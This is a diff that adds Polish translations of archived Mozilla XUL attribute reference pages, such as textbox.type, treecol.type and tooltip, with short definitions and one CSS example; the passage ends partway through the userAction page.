new file mode 100644
index 0000000000..38a7ff82b8
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/textbox.onchange/index.html
@@ -0,0 +1,21 @@
+---
+title: textbox.onchange
+slug: Mozilla/Tech/XUL/Atrybut/textbox.onchange
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/textbox.onchange
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-onchange"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onchange">onchange</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Kod w atrybucie <code>onchange</code> jest wywołany, kiedy wartość elementu jest zmieniona.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/textbox.type/index.html b/files/pl/mozilla/tech/xul/atrybut/textbox.type/index.html
new file mode 100644
index 0000000000..a28aa65508
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/textbox.type/index.html
@@ -0,0 +1,31 @@
+---
+title: textbox.type
+slug: Mozilla/Tech/XUL/Atrybut/textbox.type
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+ - Strony_wymagające_dopracowania
+translation_of: Archive/Mozilla/XUL/Attribute/textbox.type
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+
+<dl>
+ <dt><a href="pl/XUL/Atrybut/textbox.type">type</a></dt>
+ <dd>Typ:<em>jedna z wartości poniżej</em></dd>
+ <dd>Możemy ustawić typ tego atrybutu na jedną z poniższych wartości dla bardziej specjalistycznych typów pola tekstowego. Nie ustawiaj tego typu, jeśli chcesz zastosować regularne pole tekstowe.</dd>
+</dl>
+
+<ul>
+ <li><code>autocomplete</code>: Pole tekstowe, które obsługuje auto uzupełnianie. Aby zdobyć więcej informacji na temat autouzupełniania pól tekstowych, przejdź do dokumentacji o autouzupełnianiu (<a href="pl/XUL/textbox_(Mozilla_-_automatyczne_uzupe%c5%82nianie)">Mozilla</a>) (<a href="pl/XUL/textbox_(Firefox_-_automatyczne_uzupe%c5%82nianie)">Firefox</a>)</li>
+ <li><code>number</code>: A textbox that only allows the user to enter numbers. In addition, arrow buttons appear next to the textbox to let the user step through values. There are several attributes that allow the number textbox to be configured, including <code id="a-min"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/min">min</a></code>, <code id="a-max"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/max">max</a></code>, <code id="a-increment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/increment">increment</a></code>, <code id="a-wraparound"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wraparound">wraparound</a></code>, and <code id="a-hidespinbuttons"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidespinbuttons">hidespinbuttons</a></code>. </li>
+ <li><code>password</code>: Pole tekstowe, które ukrywa wpisywaną treść, stosowane dla wpisywania haseł w pole tekstowe.</li>
+ <li><code>timed</code>: This textbox will fire a command event after the user types characters and a certain time has passed. The delay is set with the <code id="a-timeout"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/timeout">timeout</a></code> attribute. You might use this type, for instance, to update information elsewhere in the window as the user types, without the need for continuous updates since the timer will not fire if the user types more keys in the meantime. The command event will also fire if the user presses the Enter key.</li>
+</ul>
+
+<div class="noinclude">
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<ul>
+ <li><code id="a-type"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code></li>
+</ul>
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/textbox.value/index.html b/files/pl/mozilla/tech/xul/atrybut/textbox.value/index.html
new file mode 100644
index 0000000000..a3279f1b04
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/textbox.value/index.html
@@ -0,0 +1,28 @@
+---
+title: textbox.value
+slug: Mozilla/Tech/XUL/Atrybut/textbox.value
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/textbox.value
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/textbox.value">value</a></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Wartość domyślna wpisywana w pole tekstowe. Atrybut tylko podtrzymuje domyślną wartość i nie zostanie ona nigdy zmodyfikowana, kiedy użytkownik wpisze tekst. Aby pobrać zaktualizowaną wartość, zastosuj własność <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/value">value</a></span></code>.</dd>
+</dl>
+<div class="noinclude">
+ <h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+ <ul>
+ <li><code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code></li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/pl/mozilla/tech/xul/atrybut/textnode.value/index.html b/files/pl/mozilla/tech/xul/atrybut/textnode.value/index.html
new file mode 100644
index 0000000000..d727f44016
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/textnode.value/index.html
@@ -0,0 +1,18 @@
+---
+title: textnode.value
+slug: Mozilla/Tech/XUL/Atrybut/textnode.value
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/textnode.value
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <a href="pl/XUL/Atrybut/textnode.value">value</a>
+</dt><dd> Typ: <i>adres URL predykatu RDF</i>
+</dd><dd> Wartość tekstowa do wyświetlenia. Ta wartość powinna być własnością RDF.
+</dd></dl>
+<div class="noinclude">
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<ul><li> <code><code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code></code>
+</li></ul>
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/timepicker.value/index.html b/files/pl/mozilla/tech/xul/atrybut/timepicker.value/index.html
new file mode 100644
index 0000000000..016e8f1944
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/timepicker.value/index.html
@@ -0,0 +1,18 @@
+---
+title: timepicker.value
+slug: Mozilla/Tech/XUL/Atrybut/timepicker.value
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/timepicker.value
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code></dt>
+ <dd>
+ Typ: <i>string</i></dd>
+ <dd>
+ Początkowa wartość elementu timepicker w obu formach, czyli HH:MM:SS lub HH:MM.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/title/index.html b/files/pl/mozilla/tech/xul/atrybut/title/index.html
new file mode 100644
index 0000000000..038f45340c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/title/index.html
@@ -0,0 +1,18 @@
+---
+title: title
+slug: Mozilla/Tech/XUL/Atrybut/title
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/title
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-title"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/title">title</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Tekst wyświetlony na pasku tytułu w oknie dialogowym.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/toolbar.mode/index.html b/files/pl/mozilla/tech/xul/atrybut/toolbar.mode/index.html
new file mode 100644
index 0000000000..7a3dae7d67
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/toolbar.mode/index.html
@@ -0,0 +1,27 @@
+---
+title: toolbar.mode
+slug: Mozilla/Tech/XUL/Atrybut/toolbar.mode
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/toolbar.mode
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/toolbar.mode">mode</a></dt>
+ <dd>
+ <b><span class="highlightred">Tylko Firefox</span></b></dd>
+ <dd>
+ Typ:
+ <i>
+ jedna z poniższych wartości</i>
+ </dd>
+ <dd>
+ Jak element <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarbutton" title="toolbarbutton">toolbarbutton</a></code> jest wyświetlany na pasku narzędzi (<code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>).</dd>
+</dl>
+<ul>
+ <li><code>icons</code>: Tylko jako ikony.</li>
+ <li><code>text</code>: Tylko jako tekst.</li>
+ <li><code>full</code>: Jako ikony oraz tekst.</li>
+</ul>
diff --git a/files/pl/mozilla/tech/xul/atrybut/toolbarbutton.type/index.html b/files/pl/mozilla/tech/xul/atrybut/toolbarbutton.type/index.html
new file mode 100644
index 0000000000..b6962ab7a8
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/toolbarbutton.type/index.html
@@ -0,0 +1,32 @@
+---
+title: toolbarbutton.type
+slug: Mozilla/Tech/XUL/Atrybut/toolbarbutton.type
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/toolbarbutton.type
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/toolbarbutton.type">type</a></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Typ przycisku. Jeśli ten atrybut nie jest prezentowany, tworzony jest normalny przycisk. Możemy użyć tego atrybutu do wartości <code>menu</code>, aby tworzyć przyciski <a href="pl/XUL/menupopup">wyskakującego menu</a>. To będzie typowy przypadek przycisku wyświetlanego w inny sposób.</dd>
+</dl>
+<ul>
+ <li><code>menu</code>: Ustawia typ atrybutu wartości <code>menu</code>, aby utworzyć przycisk z wyskakującym okienkiem menu. Umieszczamy element <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code> wewnątrz przycisku w tym przypadku. Użytkownik może klikać gdziekolwiek na przycisku, aby otworzyć lub zamknąć menu.</li>
+ <li><code>menu-button</code>: Możemy także użyć tej wartości <code>menu-button</code>, aby utworzyć przycisk z menu. Nie jak typ <code>menu</code>, ten typ żąda od użytkownika naciśnięcia strzałki do otworzenia menu, ale inne polecenie może być przywołane, kiedy główna część przycisku jest naciśnięta. Tego typu przycisk będzie stosowany dla przeglądarek w przyciskach Wstecz i Do przodu.</li>
+</ul>
+<div class="noinclude">
+ <h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+ <ul>
+ <li><code id="a-type"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code></li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/pl/mozilla/tech/xul/atrybut/toolbarname/index.html b/files/pl/mozilla/tech/xul/atrybut/toolbarname/index.html
new file mode 100644
index 0000000000..077430caea
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/toolbarname/index.html
@@ -0,0 +1,23 @@
+---
+title: toolbarname
+slug: Mozilla/Tech/XUL/Atrybut/toolbarname
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/toolbarname
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-toolbarname"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/toolbarname">toolbarname</a></code></dt>
+ <dd>
+ <b><span class="highlightred">Tylko w Firefoksie</span></b></dd>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Nazwa paska narzędzi <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>, który jest na liście pasków narzędzi w menu, aby użyć paska zaznacz Pokaż/Ukryj.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/tooltip/index.html b/files/pl/mozilla/tech/xul/atrybut/tooltip/index.html
new file mode 100644
index 0000000000..82be83c0ab
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/tooltip/index.html
@@ -0,0 +1,21 @@
+---
+title: tooltip
+slug: Mozilla/Tech/XUL/Atrybut/tooltip
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/tooltip
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id elementu tooltip</i>
+ </dd>
+ <dd>
+ Powinien być ustawiony na wartość <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/popup" title="popup">popup</a></code>, który powinien być zastosowany jako okienko porady, kiedy kursor myszki jest w danym momencie nad elementem. Porada automatycznie znika, kiedy kursor zostaje przesunięty z nad elementu. Jeśli ten atrybut jest ustawiony na '_child', to pierwsza porada elementu potomnego zostanie użyta wewnątrz elementu.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/tooltiptextnew/index.html b/files/pl/mozilla/tech/xul/atrybut/tooltiptextnew/index.html
new file mode 100644
index 0000000000..616e1cbbe5
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/tooltiptextnew/index.html
@@ -0,0 +1,23 @@
+---
+title: tooltiptextnew
+slug: Mozilla/Tech/XUL/Atrybut/tooltiptextnew
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/tooltiptextnew
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-tooltiptextnew"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptextnew">tooltiptextnew</a></code></dt>
+ <dd>
+ <b><span class="highlightred">Nie w Firefoksie</span></b></dd>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Stosuje się do ustawienia tekstu, który przydzielony jest do podpowiedzi, kiedy użytkownik przesunie kursor myszki nad nowym przyciskiem w wierszu karty.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/top/index.html b/files/pl/mozilla/tech/xul/atrybut/top/index.html
new file mode 100644
index 0000000000..ef4506d502
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/top/index.html
@@ -0,0 +1,21 @@
+---
+title: top
+slug: Mozilla/Tech/XUL/Atrybut/top
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/top
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ (reprezentujący integer)</dd>
+ <dd>
+ Dla elementów umieszczonych wewnątrz stosu (<code><a href="/pl/docs/Mozilla/Tech/XUL/stack" title="stack">stack</a></code>), określa pozycję elementu od górnego brzegu.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/tree.onselect/index.html b/files/pl/mozilla/tech/xul/atrybut/tree.onselect/index.html
new file mode 100644
index 0000000000..66f23f58b4
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/tree.onselect/index.html
@@ -0,0 +1,23 @@
+---
+title: tree.onselect
+slug: Mozilla/Tech/XUL/Atrybut/tree.onselect
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/tree.onselect
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/tree.onselect">onselect</a></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ To zdarzenie jest wysyłane do <code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code>, kiedy zostanie zaznaczony wiersz lub kiedykolwiek zostanie zmienione zaznaczenie. Użytkownik może zaznaczyć wiele wierszy poprzez przytrzymanie klawisza Shift lub Control i klikanie kursorem myszki w wiersze, które chce zaznaczyć. Zdarzenie <code>onselect</code> będzie przesyłane dla każdej pozycji która zostanie zaznaczona lub odznaczona.</dd>
+</dl>
+<div class="noinclude">
+ Zobacz stronę o <a href="pl/Kurs_XUL/Zaznaczenie_drzewa">zaznaczeniu drzewa</a> w kursie XUL-a, aby dowiedzieć się więcej na ten temat.</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/treecell.mode/index.html b/files/pl/mozilla/tech/xul/atrybut/treecell.mode/index.html
new file mode 100644
index 0000000000..920383c864
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/treecell.mode/index.html
@@ -0,0 +1,26 @@
+---
+title: treecell.mode
+slug: Mozilla/Tech/XUL/Atrybut/treecell.mode
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/treecell.mode
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/treecell.mode">mode</a></dt>
+ <dd>
+ Typ:
+ <i>
+ jedna z poniższych wartości</i>
+ </dd>
+ <dd>
+ Dla kolumn, które są paskami postępu, typu określonego paska postępu w użyciu:</dd>
+</dl>
+<ul>
+ <li><code>none</code>: Pasek postępu nie jest wyświetlony. W zamian wyświetlony jest tekst komórki.</li>
+ <li><code>normal</code>: Komórka używa wartość atrybutu do określenia wypełnienia paska.</li>
+ <li><code>undetermined</code>: Pasek postępu jest nieokreślony.</li>
+</ul>
diff --git a/files/pl/mozilla/tech/xul/atrybut/treecell.src/index.html b/files/pl/mozilla/tech/xul/atrybut/treecell.src/index.html
new file mode 100644
index 0000000000..58f967701b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/treecell.src/index.html
@@ -0,0 +1,18 @@
+---
+title: treecell.src
+slug: Mozilla/Tech/XUL/Atrybut/treecell.src
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/treecell.src
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <a href="pl/XUL/Atrybut/treecell.src">src</a>
+</dt><dd> Typ: <i>adres URL obrazka</i>
+</dd><dd> Ustawia ten adres URL obrazka do wyświetlenia w komórce drzewa. Jeśli ten atrybut jest opuszczony, to żaden obrazek się nie wyświetli. Możemy posiadać oba obrazki i etykiety. </dd></dl>
+<div class="noinclude">
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<ul><li> <a href="pl/XUL/Atrybut/src">src</a>
+</li><li> <a href="pl/XUL/Atrybut/treecol.src">treecol.src</a>
+</li></ul>
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/treecol.src/index.html b/files/pl/mozilla/tech/xul/atrybut/treecol.src/index.html
new file mode 100644
index 0000000000..ac3ecf85ef
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/treecol.src/index.html
@@ -0,0 +1,18 @@
+---
+title: treecol.src
+slug: Mozilla/Tech/XUL/Atrybut/treecol.src
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/treecol.src
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <a href="pl/XUL/Atrybut/treecol.src">src</a>
+</dt><dd> Typ: <i>adres URL obrazka</i>
+</dd><dd> Ustaw ten atrybut aby posiadać element obrazka w nagłówku <code><a href="/pl/docs/Mozilla/Tech/XUL/treecol" title="treecol">treecol</a></code> zamiast etykiety (<code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>). Ustaw adres URL obrazka, który zostanie wyświetlony w nagłówku kolumny drzewa. Jeśli ten atrybut zostanie opuszczony, to nie pojawi się żaden obrazek i zamiast niego użyta zostanie etykieta. Klasa <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/treecol-image">treecol-image</a></code> musi być zastosowana na elemencie <code><a href="/pl/docs/Mozilla/Tech/XUL/treecol" title="treecol">treecol</a></code> dla obrazka do wyświetlenia. Nie możemy mieć obu (obrazka i etykiety) pokazanych w jednym momencie.
+</dd></dl>
+<div class="noinclude">
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<ul><li> <a href="pl/XUL/Atrybut/src">src</a>
+</li></ul>
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/treecol.type/index.html b/files/pl/mozilla/tech/xul/atrybut/treecol.type/index.html
new file mode 100644
index 0000000000..26b7927b1d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/treecol.type/index.html
@@ -0,0 +1,50 @@
+---
+title: treecol.type
+slug: Mozilla/Tech/XUL/Atrybut/treecol.type
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/treecol.type
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/treecol.type">type</a></dt>
+ <dd>
+ Typ:
+ <i>
+ jedna z wartości poniżej</i>
+ </dd>
+ <dd>
+ Typ <a href="pl/XUL/treecol">kolumny drzewa</a>. Domyślnie jest to kolumna tekstowa, która wyświetla zawartość jako tekst.</dd>
+</dl>
+<ul>
+ <li><code>checkbox</code>: Zawartość kolumny jest polem wyboru.</li>
+ <li><code>progressmeter</code>: Zawartością kolumny są paski postępu. Używany jest w Mozilli jako okno menedżera pobierania.</li>
+ <li><code>text</code>: Zawartością kolumn jest tekst.</li>
+</ul>
+<div class="noinclude">
+ <p>Jeśli używamy <code>type="checkbox"</code>, to <code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code> i każda kolumna drzewa (treecol) musi być edytowalna. Jest nam potrzebne zastosowanie CSS, do zrobienia przełącznika pola wyboru. Przykład poniżej stylu CSS wykorzystuje pola wyboru aktualnego motywu:</p>
+ <pre class="eval">treechildren::-moz-tree-checkbox
+{
+ /* odznaczone pole wyboru komórek */
+ list-style-image: none;
+}
+treechildren::-moz-tree-checkbox(checked)
+{
+ /* zaznaczone pole wyboru komórek */
+ list-style-image: url("<a class="external" rel="freelink">chrome://global/skin/checkbox/cbox-check.gif</a>");
+}
+treechildren::-moz-tree-checkbox(disabled)
+{
+ /* wyłączone pole wyboru komórek */
+ list-style-image: url("<a class="external" rel="freelink">chrome://global/skin/checkbox/cbox-check-dis.gif</a>");
+}
+</pre>
+ <h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+ <ul>
+ <li><code id="a-type"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code></li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/pl/mozilla/tech/xul/atrybut/treeitem.label/index.html b/files/pl/mozilla/tech/xul/atrybut/treeitem.label/index.html
new file mode 100644
index 0000000000..666fe13319
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/treeitem.label/index.html
@@ -0,0 +1,18 @@
+---
+title: treeitem.label
+slug: Mozilla/Tech/XUL/Atrybut/treeitem.label
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/treeitem.label
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <a href="pl/XUL/Atrybut/treeitem.label">label</a>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Dla elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code> z pojedynczą <a href="pl/XUL/treecol">kolumną</a>, etykieta może być umieszczona bezpośrednio na elemencie <code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code> bez potrzebnych elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/treerow" title="treerow">treerow</a></code> i <code><a href="/pl/docs/Mozilla/Tech/XUL/treecell" title="treecell">treecell</a></code> wewnątrz.
+</dd></dl>
+<div class="noinclude">
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<ul><li> <code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code>
+</li></ul>
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/type/index.html b/files/pl/mozilla/tech/xul/atrybut/type/index.html
new file mode 100644
index 0000000000..1915cec3c0
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/type/index.html
@@ -0,0 +1,16 @@
+---
+title: type
+slug: Mozilla/Tech/XUL/Atrybut/type
+translation_of: Archive/Mozilla/XUL/Attribute/type
+---
+<div class="noinclude">
+<h3 id="Zobacz" name="Zobacz"> Zobacz </h3>
+<ul><li> <a href="pl/XUL/Atrybut/button.type">button.type</a>
+</li><li> <a href="pl/XUL/Atrybut/browser.type">browser.type</a>
+</li><li> <a href="pl/XUL/Atrybut/listitem.type">listitem.type</a>
+</li><li> <a href="pl/XUL/Atrybut/menuitem.type">menuitem.type</a>
+</li><li> <a href="pl/XUL/Atrybut/textbox.type">textbox.type</a>
+</li><li> <a href="pl/XUL/Atrybut/toolbarbutton.type">toolbarbutton.type</a>
+</li><li> <a href="pl/XUL/Atrybut/treecol.type">treecol.type</a>
+</li></ul>
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/useraction/index.html b/files/pl/mozilla/tech/xul/atrybut/useraction/index.html
new file mode 100644
index 0000000000..df1773dcc2
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/useraction/index.html
@@ -0,0 +1,26 @@
+---
+title: userAction
+slug: Mozilla/Tech/XUL/Atrybut/userAction
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/userAction
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-userAction"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/userAction">userAction</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ jedna z wartości poniżej</i>
+ </dd>
+ <dd>
+ Ten atrybut ustawia akcje wykonywane aktualnie przez użytkownika. Możliwe wartości:</dd>
+</dl>
+<ul>
+ <li><code>none</code>: Użytkownik nie wchodzi w interakcje z polem tekstowym.</li>
